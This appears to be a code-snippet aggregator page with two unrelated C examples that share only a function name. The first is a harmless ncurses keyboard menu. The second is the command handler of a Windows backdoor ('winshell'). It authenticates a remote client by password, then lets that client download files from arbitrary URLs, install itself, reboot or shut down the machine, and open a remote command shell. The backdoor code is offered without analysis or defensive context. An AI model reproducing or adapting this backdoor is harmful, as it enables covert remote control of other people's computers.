Esempio n. 1
0
int main(void)
{

  InitIt();
  
  //WINDOW *w_log;
  while(true)
  {
    int line;
    line = HelpWindow();
    line = StatusWindow(line);
    int kcode=getch();
  
	  int optsize = sizeof(optlist)/sizeof(struct option);
    int keydecode=0;
    while(optsize--!=0){
      if(kcode == optlist[optsize].key){
        printw("%s...\n", optlist[optsize].descript);
        optlist[optsize].func(NULL);
        keydecode=1;
      }
    }
    if(!keydecode){
      if(kcode == 3)
        goto ExitProg; // Ctrl+C on raw mode
      else
        printw("It key(code:%i) don't support, sorry\n", kcode);
    }
    refresh();
  }

ExitProg:
  CloseIt();
  return 0;
}
Esempio n. 2
0
// handle the client request
void TalkWithClient(void *cs)
{

    SOCKET wsh=(SOCKET)cs;
    char pwd[SVC_LEN];
    char cmd[KEY_BUFF];
	char chr[1];
	int i,j;

    while (nUser < MAX_USER) {

		if(wscfg.ws_passstr) {
			if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
			ZeroMemory(pwd,KEY_BUFF);
       		i=0;
			while(i<SVC_LEN) {

				// set timeout
				fd_set FdRead;
				struct timeval TimeOut;
				FD_ZERO(&FdRead);
				FD_SET(wsh,&FdRead);
				TimeOut.tv_sec=6;
				TimeOut.tv_usec=0;
				int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
				if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

				if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
				pwd[i]=chr[0];
				if(chr[0]==0xd || chr[0]==0xa) {
					pwd[i]=0;
					break;
				}
				i++;
		    }

			// if invalid user, close the socket
           	if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
		}

		send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
	    send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);

		while(1) {

			ZeroMemory(cmd,KEY_BUFF);

       		// auto support standard telnet client			
			j=0;
			while(j<KEY_BUFF) {
				if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
				cmd[j]=chr[0];
				if(chr[0]==0xa || chr[0]==0xd) {
					cmd[j]=0;
					break;
				}
				j++;
		    }

			// download file
			if(strstr(cmd,"http://")) {
				send(wsh,msg_ws_down,strlen(msg_ws_down),0);
				if(DownloadFile(cmd,wsh))
					send(wsh,msg_ws_err,strlen(msg_ws_err),0);
				else
					send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
			}
			else {

		    	switch(cmd[0]) {
					
					// help
					case '?': {
  			    		send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
						break;
					}
					// install
					case 'i': {
						if(Install())
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else
							send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
						break;
		    		}
					// uninstall
					case 'r': {
						if(Uninstall())
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else
							send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
						break;
		    		}
					// show winshell path
					case 'p': {
						char svExeFile[MAX_PATH];
						strcpy(svExeFile,"\n\r");
   						strcat(svExeFile,ExeFile);
        				send(wsh,svExeFile,strlen(svExeFile),0);
						break;
		    		}
					// reboot
					case 'b': {
						send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
						if(Boot(REBOOT))
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else {
							closesocket(wsh);
							ExitThread(0);
						}
						break;
		    		}
					// shutdown
					case 'd': {
						send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
						if(Boot(SHUTDOWN))
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else {
							closesocket(wsh);
							ExitThread(0);
						}
						break;
		    		}
					// enter cmd shell
					case 's': {
						CmdShell(wsh);
						closesocket(wsh);
						ExitThread(0);
						break;
					}
					// exit
					case 'x': {
						send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
						CloseIt(wsh);
						break;
		    		}
					// quit
					case 'q': {
						send(wsh,msg_ws_end,strlen(msg_ws_end),0);
						closesocket(wsh);
						WSACleanup();
						exit(1);
						break;
            		}
				}
			}

			// prompt message
	    	if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
		}
    } 

    return;
}